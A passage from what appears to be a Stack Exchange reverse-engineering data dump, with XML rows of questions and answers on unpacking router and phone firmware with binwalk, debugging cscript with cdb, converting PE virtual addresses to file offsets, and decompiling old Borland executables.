the destination. On the LAN, the gateway &amp;lt;/font&amp;gt;e destination. On the LAN, the gateway &amp;lt;/font&amp;gt;&amp;quot;&#xA;340223        0x530FF         Copyright string: &amp;quot;Copyright (c) 2001 - 2015 TP-LINK TECHNOLOGIES CO., LTD.&amp;quot;&#xA;377616        0x5C310         Copyright string: &amp;quot;Copyright &amp;amp;copy; 2015 TP-LINK Technologies Co., Ltd. All rights reserved.&amp;quot;&#xA;377634        0x5C322         TP-Link firmware header, firmware version: 28780.26990.27501, image version: &amp;quot; Co., Ltd. All rights reserved.&amp;quot;, product ID: 0x6E42746E, product version: 1131375727, kernel load address: 0x72002223, kernel entry point: 0x46463939, kernel offset: 4411461, kernel length: 1215263604, rootfs offset: 1315007845, rootfs length: 1400140358, bootloader offset: 1869756214, bootloader length: 808517748&#xA;391219        0x5F833         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3711356 bytes&#xA;&#xA;root@soyalk:~/Desktop/router-tools# dd if=firmware.bin bs=1 skip=377634 of=firmware.lzma&#xA;dd: failed to open 'firmware.bin': No such file or directory&#xA;root@soyalk:~/Desktop/router-tools# dd if=ras bs=1 skip=377634 of=firmware.lzma&#xA;1245832+0 records in&#xA;1245832+0 records out&#xA;1245832 bytes (1.2 MB, 1.2 MiB) copied, 17.4058 s, 71.6 kB/s&#xA;root@soyalk:~/Desktop/router-tools# binwalk firmware.lzma &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             TP-Link firmware header, firmware version: 28780.26990.27501, image version: &amp;quot; Co., Ltd. All rights reserved.&amp;quot;, product ID: 0x6E42746E, product version: 1131375727, kernel load address: 0x72002223, kernel entry point: 0x46463939, kernel offset: 4411461, kernel length: 1215263604, rootfs offset: 1315007845, rootfs length: 1400140358, bootloader offset: 1869756214, bootloader length: 808517748&#xA;13585         0x3511          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3711356 bytes&#xA;&#xA;root@soyalk:~/Desktop/router-tools# lzma -d firmware.lzma &#xA;lzma: Decoder error&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;how to extract that lzma file?&lt;/p&gt;&#xA;" OwnerUserId="34801" LastActivityDate="2020-10-30T11:28:01.183" Title="can't extract a lzma compressed file" Tags="|firmware|unpacking|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26193" PostTypeId="2" ParentId="26190" CreationDate="2020-10-28T23:14:34.157" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mgPe4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mgPe4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;debugging using cdb (windbg console)&lt;br /&gt;&#xA;open a elevated command prompt&lt;br /&gt;&#xA;run&lt;br /&gt;&#xA;&lt;code&gt;cdb -c &amp;quot;bp cscript!CscriptFile::create;g;kc;r;du@rcx;&amp;quot; cscript hell.vbs&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;this sets a break point on create and dumps the stack when bp is hit&lt;/p&gt;&#xA;&lt;p&gt;you can see cscript!CscriptEngine::Compile function parsing and compiling the file after this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Breakpoint 0 hit&#xA;Call Site&#xA;cscript!CScriptFile::Create&#xA;cscript!CHost::RunStandardScript&#xA;cscript!CHost::Execute&#xA;cscript!CHost::Main&#xA;cscript!main&#xA;cscript!_mainCRTStartup&#xA;cscript!mainCRTStartup&#xA;KERNEL32!BaseThreadInitThunk&#xA;ntdll!RtlUserThreadStart&#xA;rax=0000000000000000 rbx=000000e91cdff380 rcx=000002404a919a58&#xA;rdx=0000000000000000 rsi=000000e91cdff600 rdi=000002404c6109a8&#xA;rip=00007ff617175b14 rsp=000000e91cdfeb58 rbp=0000000000000000&#xA; r8=000000e91cdff600  r9=0000000000000000 r10=000002404a8fb2f0&#xA;r11=000000e91cdfeb60 r12=0000000000000000 r13=0000000000000000&#xA;r14=0000000000000000 r15=000000e91cdff6c8&#xA;iopl=0         nv up ei pl zr na po nc&#xA;cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246&#xA;cscript!CScriptFile::Create:&#xA;00007ff6`17175b14 48895c2410      mov     qword ptr [rsp+10h],rbx ss:000000e9`1cdfeb68=0000000000000000&#xA;00000240`4a919a58  &amp;quot;c:\hell.vbs&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;the function which Creates ,Loads ,Compiles And Executes the Script&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; uf /c cscript!CHost::RunStandardScript&#xA;cscript!CHost::RunStandardScript (00007ff6`17171d88)&#xA;  cscript!CHost::RunStandardScript+0x39 (00007ff6`17171dc1):&#xA;    call to cscript!CScriptFile::Create (00007ff6`17175b14)&#xA;&#xA;  cscript!CHost::RunStandardScript+0x4c (00007ff6`17171dd4):&#xA;    call to cscript!CScriptFile::Load (00007ff6`17171cd0)&#xA;&#xA;  cscript!CHost::RunStandardScript+0x74 (00007ff6`17171dfc):&#xA;    call to cscript!CScriptingEngine::Compile (00007ff6`1717589c)&#xA;&#xA;  cscript!CHost::RunStandardScript+0x96 (00007ff6`17171e1e):&#xA;    call to ntdll!LdrpDispatchUserCallTarget (00007ffd`f574c510)&#xA;&#xA;  cscript!CHost::RunStandardScript+0xc3 (00007ff6`17171e4b):&#xA;    call to ntdll!LdrpDispatchUserCallTarget (00007ffd`f574c510)&#xA;&#xA;  cscript!CHost::RunStandardScript+0xd5 (00007ff6`17171e5d):&#xA;    call to cscript!CTimer::Stop (00007ff6`17174478)&#xA;&#xA;  cscript!CHost::RunStandardScript+0x614f (00007ff6`17177ed7):&#xA;    call to cscript!CHost::ReportLoadError (00007ff6`1717b930)&#xA;&#xA;  cscript!CHost::RunStandardScript+0x6165 (00007ff6`17177eed):&#xA;    call to cscript!CTimer::Start (00007ff6`1717d3dc)&#xA;&#xA;  cscript!CHost::RunStandardScript+0x6183 (00007ff6`17177f0b):&#xA;    call to ntdll!LdrpDispatchUserCallTarget (00007ffd`f574c510)&#xA;&#xA;0:000&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-10-28T23:14:34.157" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26194" PostTypeId="2" ParentId="20697" CreationDate="2020-10-29T02:14:01.480" Score="0" Body="&lt;p&gt;for RE work where you have the binary file already I would just use IDA PRO or build your own tool for flow analysis, etc&lt;/p&gt;&#xA;&lt;p&gt;If  you actually need to pull the binary file, then the other answer is correct - but, in addition, openOCD may work for you for simple binary copy which is a much cheaper open source option.&lt;/p&gt;&#xA;&lt;p&gt;Understanding code/data flow in an ECU is a fairly difficult task given how code is designed and the complex safety eco system and peripheral set of tricore.   Be prepared to study that and understand the features before delving in.&lt;/p&gt;&#xA;" OwnerUserId="15862" LastActivityDate="2020-10-29T02:14:01.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26195" PostTypeId="2" ParentId="22429" CreationDate="2020-10-29T10:02:43.640" Score="1" Body="&lt;p&gt;Maybe. If the Source File of the Classes are present you can reverse the Class names.&#xA;Unfortunatly there are no ways to retrieve Methods and Fields names. The only thing that you can do for that is renaming the fields and methods with unique names to make the code more readable.&lt;/p&gt;&#xA;" OwnerUserId="34252" LastActivityDate="2020-10-29T10:02:43.640" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26196" PostTypeId="1" CreationDate="2020-10-29T12:47:29.743" Score="1" ViewCount="963" Body="&lt;p&gt;Is there alternative to&#xA;&lt;a href=&quot;https://www.zynamics.com/bindiff.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.zynamics.com/bindiff.html&lt;/a&gt;&#xA;that works for Linux x86_64 binaries, works on Linux, (and preferably does not require IDA Pro, however if needed it seems that IDA can run on Linux so it may be fine)?&lt;/p&gt;&#xA;" OwnerUserId="3934" LastActivityDate="2021-09-08T00:05:25.450" Title="Alternative to BinDiff that works on Linux x86_64 binaries (and preferably does not require IDA Pro)" Tags="|binary-analysis|bin-diffing|tool-bindiff|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26198" PostTypeId="2" ParentId="26192" CreationDate="2020-10-30T11:28:01.183" Score="1" Body="&lt;p&gt;binwalk easily finds the beginning of the lzma file but not the end.&lt;br&gt;&#xA;It is necessary to modify the files extracted with a Hexadecimal editor.&lt;br&gt;&#xA;I don't have the same version as you but for TD-W8961ND_V3_140305.bin:&lt;br&gt;&#xA;The first extracted file (in 0x14C33) contains from the offset 0x41cf many 0x00,&lt;br&gt;&#xA;all the following bytes must be deleted.&lt;br&gt;&#xA;In my version the file ends with 4A FC A7 00.&lt;br&gt;&#xA;The second extracted file is easier because it is the last of the .bin, I simply delete the last byte (0x00).&lt;br&gt;&lt;/p&gt;&#xA;" OwnerUserId="34077" LastActivityDate="2020-10-30T11:28:01.183" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26199" PostTypeId="1" AcceptedAnswerId="26202" CreationDate="2020-10-30T11:38:45.497" Score="2" ViewCount="379" Body="&lt;p&gt;I'm trying to parse a PE file manually as below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    1 ### DOS Header&#xA;    2 &#xA;    3 00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............&#xA;    4 00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......&#xA;    5 00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;    6 00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................   // e_lfanew = 0x00000080&#xA;    7 &#xA;    8     - DOS Stub&#xA;    9 00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th&#xA;   10 00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno&#xA;   11 00000060: 7420 6265 2072 756e 2069 6e20 444f 5320  t be run in DOS&#xA;   12 00000070: 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000  mode....$.......&#xA;   13 &#xA;   14 -------------------------------------------------------------------&#xA;   15 &#xA;   16 ### NT Header&#xA;   17 &#xA;   18     - Magic&#xA;   19 00000080: 5045 0000&#xA;   20 &#xA;   21     - File Header&#xA;   22                     4c01 0f00 3f55 785e 0088 0400  PE..L...?Ux^....   // NumberOfSections = 0x000f = 15&#xA;   23 00000090: a705 0000 e000 0701                                         // SizeOfOptionalHeader = 0x000e = 14 * 16&#xA;   24 &#xA;   25     - Optional Header&#xA;   26                               0b01 0221 0022 0000  ...........!.&amp;quot;..&#xA;   27 000000a0: 003a 0000 0006 0000 c014 0000 0010 0000  .:..............   // EntryPoint = 0x000014c0 &amp;amp; BaseOfCode = 0x00001000&#xA;   28 000000b0: 0040 0000 0000 4000 0010 0000 0002 0000  .@....@.........   // BaseOfData = 0x00004000 &amp;amp; ImageBase = 0x00400000 &amp;amp; SectionAlignment = 0x00001000 &amp;amp; FileAlignment = 0x00000200&#xA;   29 000000c0: 0400 0000 0100 0000 0400 0000 0000 0000  ................&#xA;   30 000000d0: 0030 0500 0004 0000 3004 0500 0300 4001  .0......0.....@.&#xA;   31 000000e0: 0000 2000 0010 0000 0000 1000 0010 0000  .. .............&#xA;   32 000000f0: 0000 0000 1000 0000&#xA;   33 &#xA;   34         - Data Directories&#xA;   35                               0000 0000 0000 0000  ................&#xA;   36 00000100: 0070 0000 5c07 0000 0000 0000 0000 0000  .p..\...........   // ImportDirectory: VirtualAddress = 0x00007000 &amp;amp; Size = 0x0000075c&#xA;   37 00000110: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;   38 00000120: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;   39 00000130: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;   40 00000140: 5052 0000 1800 0000 0000 0000 0000 0000  PR..............&#xA;   41 00000150: 0000 0000 0000 0000 6871 0000 0401 0000  ........hq......&#xA;   42 00000160: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;   43 00000170: 0000 0000 0000 0000&#xA;   44 &#xA;   45 -------------------------------------------------&#xA;   46 &#xA;   47 ### Section Headers&#xA;   48 &#xA;   49                               2e74 6578 7400 0000  .........text...&#xA;   50 00000180: 6421 0000 0010 0000 0022 0000 0004 0000  d!.......&amp;quot;......&#xA;   51 00000190: 0000 0000 0000 0000 0000 0000 6000 5060  ............`.P`&#xA;   52 &#xA;   53 000001a0: 2e64 6174 6100 0000 3400 0000 0040 0000  .data...4....@..&#xA;   54 000001b0: 0002 0000 0026 0000 0000 0000 0000 0000  .....&amp;amp;..........&#xA;   55 000001c0: 0000 0000 4000 30c0&#xA;   56                               2e72 6461 7461 0000  ....@.0..rdata..&#xA;   57 000001d0: 6c08 0000 0050 0000 000a 0000 0028 0000  l....P.......(..&#xA;   58 000001e0: 0000 0000 0000 0000 0000 0000 4000 3040  ............@.0@&#xA;   59 &#xA;   60 000001f0: 2e62 7373 0000 0000 0c04 0000 0060 0000  .bss.........`..&#xA;   61 00000200: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;   62 00000210: 0000 0000 8000 60c0&#xA;   63                               2e69 6461 7461 0000  ......`..idata..   // .idata section header&#xA;   64 00000220: 5c07 0000 0070 0000 0008 0000 0032 0000  \....p.......2..   // VirtualSize = 0x0000075c &amp;amp; VirtualAddress = 0x00000700&#xA;   65 00000230: 0000 0000 0000 0000 0000 0000 4000 30c0  ............@.0.&#xA;   66 &#xA;   67 00000240: 2e43 5254 0000 0000 3400 0000 0080 0000  .CRT....4.......&#xA;   68 00000250: 0002 0000 003a 0000 0000 0000 0000 0000  .....:..........&#xA;   69 00000260: 0000 0000 4000 30c0&#xA;   70                               2e74 6c73 0000 0000  ....@.0..tls....&#xA;   71 00000270: 0800 0000 0090 0000 0002 0000 003c 0000  .............&amp;lt;..&#xA;   72 00000280: 0000 0000 0000 0000 0000 0000 4000 30c0  ............@.0.&#xA;   73 &#xA;   74 00000290: 2f34 0000 0000 0000 e002 0000 00a0 0000  /4..............&#xA;   75 000002a0: 0004 0000 003e 0000 0000 0000 0000 0000  .....&amp;gt;..........&#xA;   76 000002b0: 0000 0000 4000 1042&#xA;   77                               2f31 3900 0000 0000  ....@..B/19.....&#xA;   78 000002c0: efb8 0300 00b0 0000 00ba 0300 0042 0000  .............B..&#xA;   79 000002d0: 0000 0000 0000 0000 0000 0000 4000 1042  ............@..B&#xA;   80 &#xA;   81 000002e0: 2f33 3100 0000 0000 dd25 0000 0070 0400  /31......%...p..&#xA;   82 000002f0: 0026 0000 00fc 0300 0000 0000 0000 0000  .&amp;amp;..............&#xA;   83 00000300: 0000 0000 4000 1042&#xA;   84                               2f34 3500 0000 0000  ....@..B/45.....&#xA;   85 00000310: 9d34 0000 00a0 0400 0036 0000 0022 0400  .4.......6...&amp;quot;..&#xA;   86 00000320: 0000 0000 0000 0000 0000 0000 4000 1042  ............@..B&#xA;   87 &#xA;   88 00000330: 2f35 3700 0000 0000 1c09 0000 00e0 0400  /57.............&#xA;   89 00000340: 000a 0000 0058 0400 0000 0000 0000 0000  .....X..........&#xA;   90 00000350: 0000 0000 4000 3042&#xA;   91 &#xA;   92                               2f37 3000 0000 0000  ....@.0B/70.....&#xA;   93 00000360: 1e05 0000 00f0 0400 0006 0000 0062 0400  .............b..&#xA;   94 00000370: 0000 0000 0000 0000 0000 0000 4000 1042  ............@..B&#xA;   95 &#xA;   96 00000380: 2f38 3100 0000 0000 601a 0000 0000 0500  /81.....`.......&#xA;   97 00000390: 001c 0000 0068 0400 0000 0000 0000 0000  .....h..........&#xA;   98 000003a0: 0000 0000 4000 1042&#xA;   99 &#xA;  100                               2f39 3200 0000 0000  ....@..B/92.....&#xA;  101 000003b0: 4003 0000 0020 0500 0004 0000 0084 0400  @.... ..........&#xA;  102 000003c0: 0000 0000 0000 0000 0000 0000 4000 1042  ............@..B&#xA;  103 &#xA;  104 -------------------------------------------------&#xA;  105 &#xA;  106     - Padding for FileAlignment?&#xA;  107 &#xA;  108 000003d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;  109 000003e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;  110 000003f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;  111 &#xA;  112 ------------------------------------------------&#xA;  113 &#xA;  114 ### Sections&#xA;  115 &#xA;  116 00000400: c38d b426 0000 0000 8db4 2600 0000 0090  ...&amp;amp;......&amp;amp;.....&#xA;  117 00000410: 83ec 1c31 c066 813d 0000 4000 4d5a c705  ...1.f.=..@.MZ..&#xA;  118 00000420: 8c63 4000 0100 0000 c705 8863 4000 0100  .c@........c@...&#xA;  119 00000430: 0000 c705 8463 4000 0100 0000 c705 3060  .....c@.......0`&#xA;  120 00000440: 4000 0100 0000 7518 8b15 3c00 4000 81ba  @.....u...&amp;lt;.@...&#xA;  121 00000450: 0000 4000 5045 0000 8d8a 0000 4000 7450  ..@.PE......@.tP&#xA;  122 00000460: a30c 6040 00a1 9463 4000 85c0 7532 c704  ..`@...c@...u2..&#xA;  123 00000470: 2401 0000 00e8 0220 0000 e805 2000 008b  $...... .... ...&#xA;  124 00000480: 15a8 6340 0089 10e8 d40f 0000 833d 1c40  ..c@.........=.@&#xA;  125 00000490: 4000 0174 4b31 c083 c41c c38d 7426 0090  @..tK1......t&amp;amp;..&#xA;  126 000004a0: c704 2402 0000 00e8 d01f 0000 ebcc 6690  ..$...........f.&#xA;  127 000004b0: 0fb7 5118 6681 fa0b 0174 3d66 81fa 0b02  ..Q.f....t=f....&#xA;         ...           .... Truncated .....                   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My questions:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As you see above, in the line #36, we have &lt;code&gt;virtualAddress&lt;/code&gt; related to import libraries. How can I find the corresponding rawAddress of those data in the file content? I mean, how can I convert virtualAddresses to rawAddresses?&lt;/li&gt;&#xA;&lt;li&gt;As you see above, we have virtualAddress and Size fields in second index of DataDirectory in optionalHeader (Line #36) and also in .idata sectionHeader (Line #64). And both have equal values. Why? Isn't that redundant? Do we have some cases which these fields have different values?&lt;/li&gt;&#xA;&lt;li&gt;As far as I know, .text section contains the program's assembly code. So why EntryPoint field in the OptionalHeader doesn't have the address of beginning of .text section?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20930" LastEditorUserId="20930" LastEditDate="2020-10-30T11:44:04.173" LastActivityDate="2020-10-30T20:19:53.440" Title="How to find &quot;RawAddress&quot; of a &quot;VirtualAddress&quot;?" Tags="|pe|entry-point|pe32|virtual-memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26200" PostTypeId="1" CreationDate="2020-10-30T15:18:40.460" Score="2" ViewCount="143" Body="&lt;p&gt;I have a Brother DCP 197C printer and I would like to print from my phone using a raspberry pi. To archieve it I need to install drivers, but brother only provide x86 and x64 drivers, any way to do it? Thanks!&#xA;The driver download link:&#xA;&lt;a href=&quot;https://support.brother.com/g/b/downloadlist.aspx?c=es&amp;amp;lang=es&amp;amp;prod=dcp197c_eu&amp;amp;os=128&amp;amp;flang=English&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.brother.com/g/b/downloadlist.aspx?c=es&amp;amp;lang=es&amp;amp;prod=dcp197c_eu&amp;amp;os=128&amp;amp;flang=English&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34812" LastActivityDate="2020-10-30T16:46:56.527" Title="Migrate x86 printer drivers to arm [Brother]" Tags="|x86|arm|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26201" PostTypeId="2" ParentId="26200" CreationDate="2020-10-30T16:46:56.527" Score="2" Body="&lt;p&gt;This is not really related to reverse engineering and might be a better fit for another StackExchange site.&lt;/p&gt;&#xA;&lt;p&gt;That said, I would look into using the x86/x86_64 &lt;a href=&quot;https://www.qemu.org/docs/master/system/usb.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;QEMU with USB passthrough&lt;/a&gt; in full-system mode. Basically it will be running a small x86 virtual machine with that driver loaded and passing the USB device directly through to the VM. Then you can set something up to let the Raspberry Pi host send print jobs into the VM (e.g. through a listening lpr/CUPS server).&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2020-10-30T16:46:56.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26202" PostTypeId="2" ParentId="26199" CreationDate="2020-10-30T20:19:53.440" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;you need to parse the section table, figure out to which section your address belongs (using their VirtualAddress and VirtualSize), then calculate the offset from the section start and add it to the section's physical offset. E.g.:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;SectionOffset = addr - section[i].VirtualAddress&lt;/code&gt;&lt;br /&gt;&#xA;&lt;code&gt;offset = SectionOffset + section[i].PointerToRawData&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A directory does not necessarily match a whole section. It may be a small part of a section or (in theory) even cross a section boundary. Note that in practice the OS loader may ignore the size field but use e.g. a NULL terminator to detect the end of data.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;entry point  is not necessarily at the start of &lt;code&gt;.text&lt;/code&gt;. This was common in &lt;code&gt;a.out&lt;/code&gt; binaries but is pretty rare nowadays both for PE and ELF. Usually there are other functions (e.g. library code) and/or read-only data at the beginning.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-10-30T20:19:53.440" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26203" PostTypeId="1" AcceptedAnswerId="26205" CreationDate="2020-10-31T02:37:17.260" Score="1" ViewCount="351" Body="&lt;p&gt;My company has a small number of .exe that were written in the '80s that are performing some minorly important tasks. Source code is gone and documentation is scarce. In order to run them we need to use DOSBox. My team wants to get the process into a modern language so we can maintain the code and if possible see how the program functions. Previous attempts to reserve engineer have failed, I believe because not enough time was allotted to work on the problem. I've doing some exploration to see what is possible. Thus far this is what I think I have found:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using IDA PRO 5.0 I can get the code back to assembly. The code looks functional.&lt;/li&gt;&#xA;&lt;li&gt;From the above, it appears the original code was either Pascal or Delphi.&lt;/li&gt;&#xA;&lt;li&gt;It looks like I can see what compiler (Borland) was used to create the .exe files.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;My question is if I know the compiler was Borland, can I use that information to get back to a relatively correct source code? I know the variable names will be bad and it might have other issue that need to be debugged, but just getting back to the basic structure of the code with loops and defined function calls and methods would be great. If not, am I stuck trying to learn assembly to get a better idea of what is going on?&lt;/p&gt;&#xA;" OwnerUserId="34814" LastActivityDate="2020-10-31T18:07:19.207" Title="Can you decompile code if you Know the Complier?" Tags="|ida|decompilation|delphi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26204" PostTypeId="1" CreationDate="2020-10-31T03:23:09.853" Score="3" ViewCount="506" Body="&lt;p&gt;I am trying to remove/disable some system apps ( Messages, Games, Radio or Calendar ) and remove/replace the boot screen from &lt;strong&gt;samsung E1200y&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So i start searching for the way to do that...&lt;/p&gt;&#xA;&lt;p&gt;I used HxH hex editor for trying to modify the firmware bin file.&lt;/p&gt;&#xA;&lt;p&gt;i searched for the strings -&amp;gt; deleted some strings that have the keyword Messages, Games, Radio or Calendar -&amp;gt; but that doesn't looks correct&lt;/p&gt;&#xA;&lt;p&gt;So i searched more and found &lt;strong&gt;binwalk&lt;/strong&gt; in linux.&lt;/p&gt;&#xA;&lt;p&gt;I used it and here's the results&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;------------------------------------------------------------------------------------------------------&#xA;197170        0x30232         Unix path: /source/base/src/doidleonpage.c&#xA;290966        0x47096         Unix path: /source/efs/src/efs_item.c&#xA;340308        0x53154         Unix path: /Layer1/source/c/datacnfproc.c&#xA;439316        0x6B414         Unix path: /Layer1/source/c/systeminfo.c&#xA;454360        0x6EED8         Unix path: /chip_module/busmonitor/v5/busmonitor_phy_v5.c&#xA;1044005       0xFEE25         MySQL MISAM index file Version 7&#xA;1047421       0xFFB7D         MySQL ISAM compressed data file Version 5&#xA;1076680       0x106DC8        MySQL MISAM index file Version 3&#xA;1083384       0x1087F8        MySQL ISAM index file Version 2&#xA;1084942       0x108E0E        MySQL MISAM index file Version 2&#xA;1095977       0x10B929        MySQL ISAM compressed data file Version 11&#xA;1115351       0x1104D7        MySQL ISAM compressed data file Version 2&#xA;1133241       0x114AB9        MySQL ISAM compressed data file Version 5&#xA;1163534       0x11C10E        MySQL MISAM compressed data file Version 9&#xA;1169361       0x11D7D1        MySQL MISAM index file Version 2&#xA;1169878       0x11D9D6        MySQL ISAM compressed data file Version 1&#xA;1172147       0x11E2B3        MySQL MISAM index file Version 7&#xA;1175240       0x11EEC8        MySQL MISAM index file Version 5&#xA;1216892       0x12917C        Unix path: /source/src/c/sci_mem.c&#xA;1222192       0x12A630        Unix path: /source/src/c/threadx_os.c&#xA;1235544       0x12DA58        Unix path: /source/src/c/sci_log.c&#xA;1240224       0x12ECA0        Unix path: /source/src/c/threadx_appmem.c&#xA;3853392       0x3ACC50        LZMA compressed data, properties: 0x5A, dictionary size: 16777216&#xA;                              bytes, uncompressed size: 4096 bytes&#xA;3858764       0x3AE14C        LZMA compressed data, properties: 0x5A, dictionary size: 16777216&#xA;                              bytes, uncompressed size: 4096 bytes&#xA;3858804       0x3AE174        LZMA compressed data, properties: 0x5A, dictionary size: 16777216&#xA;                              bytes, uncompressed size: 4096 bytes&#xA;3858844       0x3AE19C        LZMA compressed data, properties: 0x5A, dictionary size: 16777216&#xA;                              bytes, uncompressed size: 4096 bytes&#xA;3984072       0x3CCAC8        LZMA compressed data, properties: 0x5A, dictionary size: 16777216&#xA;                              bytes, uncompressed size: 4096 bytes&#xA;4268656       0x412270        PC bitmap, Windows 3.x format,, 60 x 80 x 4&#xA;6060579       0x5C7A23        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6064503       0x5C8977        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6067639       0x5C95B7        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6069663       0x5C9D9F        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6071627       0x5CA54B        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6073771       0x5CADAB        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6075911       0x5CB607        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6078019       0x5CBE43        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6082035       0x5CCDF3        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6084719       0x5CD86F        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6087079       0x5CE1A7        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6088615       0x5CE7A7        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6091495       0x5CF2E7        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6094375       0x5CFE27        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6098727       0x5D0F27        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6101915       0x5D1B9B        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6105723       0x5D2A7B        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6108279       0x5D3477        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6110791       0x5D3E47        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6113675       0x5D498B        Unix path: /Customer/XFV/PowerOffAnim/shutdown-01.bmp&amp;quot; width=&amp;quot;128&amp;quot;&#xA;                              height=&amp;quot;128&amp;quot;&amp;gt;&#xA;6115267       0x5D4FC3        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6118599       0x5D5CC7        XML document, version: &amp;quot;1.0&amp;quot;&#xA;6121467       0x5D67FB        XML document, version: &amp;quot;1.0&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;after extracting the .bin file, i got&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;total 71480&#xA;-rw-r--r-- 1 shakir shakir    4096 Oct 30 01:33 3ACC50&#xA;-rw-r--r-- 1 shakir shakir 4535216 Oct 30 01:33 3ACC50.7z&#xA;-rw-r--r-- 1 shakir shakir    4096 Oct 30 01:33 3AE14C&#xA;-rw-r--r-- 1 shakir shakir 4529844 Oct 30 01:33 3AE14C.7z&#xA;-rw-r--r-- 1 shakir shakir    4096 Oct 30 01:33 3AE174&#xA;-rw-r--r-- 1 shakir shakir 4529804 Oct 30 01:33 3AE174.7z&#xA;-rw-r--r-- 1 shakir shakir    4096 Oct 30 01:33 3AE19C&#xA;-rw-r--r-- 1 shakir shakir 4529764 Oct 30 01:33 3AE19C.7z&#xA;-rw-r--r-- 1 shakir shakir    4426 Oct 30 01:33 3CCAC8&#xA;-rw-r--r-- 1 shakir shakir 4404536 Oct 30 01:33 3CCAC8.7z&#xA;-rw-r--r-- 1 shakir shakir 2328029 